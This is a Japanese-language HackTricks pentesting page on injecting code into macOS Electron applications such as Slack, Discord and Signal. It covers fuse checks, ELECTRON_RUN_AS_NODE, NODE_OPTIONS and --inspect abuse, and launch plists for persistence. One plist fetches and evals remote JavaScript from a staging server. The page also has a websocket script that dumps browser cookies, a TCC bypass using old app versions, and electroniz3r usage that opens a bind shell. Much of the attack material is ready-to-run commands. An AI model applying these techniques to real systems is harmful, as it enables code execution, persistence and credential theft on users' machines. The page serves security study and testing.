hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md

19 KiB
Raw Blame History

macOS Electronアプリケーションのインジェクション

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本情報

Electronが何であるかわからない場合は、ここにたくさんの情報があります。ただし、今のところ、Electronはnodeを実行することを知っておいてください。
そして、nodeには、指定されたファイル以外のコードを実行するために使用できるパラメータ環境変数があります。

Electron Fuses

これらのテクニックは次に説明しますが、最近のElectronでは、これらを防ぐためのいくつかのセキュリティフラグが追加されています。これらはElectron Fusesであり、これらはmacOSでElectronアプリが任意のコードを読み込むのを防ぐために使用されます。

  • RunAsNode: 無効にすると、コードをインジェクションするための環境変数**ELECTRON_RUN_AS_NODE**の使用を防ぎます。
  • EnableNodeCliInspectArguments: 無効にすると、--inspect--inspect-brkなどのパラメータは無視されます。これにより、コードのインジェクションが防止されます。
  • EnableEmbeddedAsarIntegrityValidation: 有効にすると、ロードされた**asar**ファイルがmacOSによって検証されます。これにより、このファイルの内容を変更してコードをインジェクションすることが防止されます。
  • OnlyLoadAppFromAsar: これが有効になっている場合、次の順序でロードする代わりに、app.asarapp、最後に**default_app.asarを検索してロードします。したがって、embeddedAsarIntegrityValidationフューズと組み合わせると、検証されていないコードをロードすることは不可能**です。
  • LoadBrowserProcessSpecificV8Snapshot: 有効にすると、ブラウザプロセスはV8スナップショットにbrowser_v8_context_snapshot.binという名前のファイルを使用します。

コードインジェクションを防止しないもう1つの興味深いフューズは次のとおりです。

  • EnableCookieEncryption: 有効にすると、ディスク上のクッキーストアはOSレベルの暗号化キーを使用して暗号化されます。

Electron Fusesの確認

アプリケーションからこれらのフラグを確認することができます。

npx @electron/fuses read --app /Applications/Slack.app

Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled

Electronフューズの変更

ドキュメントによるとElectronフューズの設定は、Electronバイナリ内に設定されており、その中には文字列**dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX**が含まれています。

macOSアプリケーションでは、通常、application.app/Contents/Frameworks/Electron Framework.framework/Electron Frameworkに配置されています。

grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches

https://hexed.it/でこのファイルをロードし、前の文字列を検索することができます。この文字列の後には、各ヒューズが無効または有効であることを示すASCIIの数字「0」または「1」が表示されます。ヒューズの値を変更するには、16進コード0x300であり、0x311です)を変更します。

ただし、これらのバイトが変更された状態でアプリケーション内の**Electron Frameworkバイナリ**を上書きしようとすると、アプリが実行されなくなります。

Electronアプリケーションへのコードの追加によるRCE

Electronアプリが使用している外部のJS/HTMLファイルが存在する場合、攻撃者はこれらのファイルにコードを注入し、シグネチャがチェックされないため、アプリのコンテキストで任意のコードを実行することができます。

{% hint style="danger" %} ただし、現時点では2つの制限があります

  • アプリを変更するには、**kTCCServiceSystemPolicyAppBundles**権限が必要です。したがって、デフォルトではこれはもはや可能ではありません。
  • コンパイルされた**asapファイルには通常、ヒューズembeddedAsarIntegrityValidationonlyLoadAppFromAsar**が有効になっています。

これにより、この攻撃経路はより複雑になります(または不可能になります)。 {% endhint %}

kTCCServiceSystemPolicyAppBundlesの要件をバイパスすることも可能であり、アプリケーションを別のディレクトリ(たとえば/tmp)にコピーし、フォルダ**app.app/Contentsapp.app/NotConに名前を変更し、悪意のあるコードでasarファイルを変更し、それをapp.app/Contents**に戻し、実行することができます。

ELECTRON_RUN_AS_NODEによるRCE

ドキュメントによると、この環境変数が設定されている場合、プロセスは通常のNode.jsプロセスとして開始されます。

{% code overflow="wrap" %}

# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

{% endcode %}

{% hint style="danger" %} もしfuse **RunAsNodeが無効になっている場合、環境変数ELECTRON_RUN_AS_NODE**は無視され、これは機能しません。 {% endhint %}

アプリのPlistからのインジェクション

ここで提案されているように、この環境変数をplistに悪用することで持続性を維持することができます

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

NODE_OPTIONSを使用したRCE

異なるファイルにペイロードを保存し、実行することができます:

{% code overflow="wrap" %}

# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

{% endcode %}

{% hint style="danger" %} もし、fuse EnableNodeOptionsEnvironmentVariable無効 になっている場合、アプリは起動時に環境変数 NODE_OPTIONS無視 します。ただし、環境変数 ELECTRON_RUN_AS_NODE が設定されている場合は、それも 無視 されます。なお、fuse RunAsNode も無効になっている場合は、同様に 無視 されます。 {% endhint %}

アプリの Plist からのインジェクション

この環境変数を plist に悪用することで、以下のキーを追加して持続性を維持することができます:

<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

インスペクトによるRCE

こちらによると、Electronアプリケーションを**--inspect--inspect-brk--remote-debugging-portなどのフラグを使用して実行すると、デバッグポートが開かれ、それに接続することができます(たとえば、chrome://inspectのChromeから。そして、それに対してコードを注入**したり、新しいプロセスを起動したりすることができます。
例えば:

{% code overflow="wrap" %}

/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

{% endcode %}

{% hint style="danger" %} もしfuse**EnableNodeCliInspectArgumentsが無効になっている場合、アプリは起動時に--inspectのようなノードのパラメータを無視します。ただし、環境変数ELECTRON_RUN_AS_NODEが設定されている場合は、それも無視されます。fuseRunAsNode**が無効になっている場合も同様です。

ただし、引き続き**electronパラメータ--remote-debugging-port=9229**を使用することはできますが、前述のペイロードでは他のプロセスを実行することはできません。 {% endhint %}

パラメータ**--remote-debugging-port=9222を使用すると、Electronアプリから履歴**GETコマンドを含むやブラウザのクッキー(ブラウザ内で復号され、それらを提供するJSONエンドポイントが存在する)などの情報を盗むことができます。

これについては、こちらこちらで学ぶことができます。また、自動ツールWhiteChocolateMacademiaNutや以下のようなシンプルなスクリプトを使用することもできます:

import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()

アプリのPlistからのインジェクション

これらのキーを追加して永続性を維持するために、この環境変数をPlistで悪用することができます

<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

TCCバイパス古いバージョンの悪用

{% hint style="success" %} macOSのTCCデーモンは、実行されるアプリケーションのバージョンをチェックしません。したがって、前述のいずれの技術でもElectronアプリケーションにコードをインジェクトできない場合は、以前のバージョンのアプリをダウンロードし、それにコードをインジェクトすることができます。これにより、TCCの特権を取得できます。 {% endhint %}

自動インジェクション

ツールelectroniz3rは、インストールされている脆弱なElectronアプリケーションを見つけ、それらにコードをインジェクトするために簡単に使用できます。このツールは、--inspect 技術を使用しようとします。

自分でコンパイルする必要があり、次のように使用できます:

# Find electron apps
./electroniz3r list-apps

╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
║    Bundle identifier                      │       Path                                               ║
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode                         /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop            /Applications/Signal.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop                      /Applications/Neo4j Desktop.app
com.electron.dockerdesktop                   /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient                      /Applications/GitHub Desktop.app
com.ledger.live                              /Applications/Ledger Live.app
com.postmanlabs.mac                          /Applications/Postman.app
com.tinyspeck.slackmacgap                    /Applications/Slack.app
com.hnc.Discord                              /Applications/Discord.app

# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"

/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`

# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell

/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥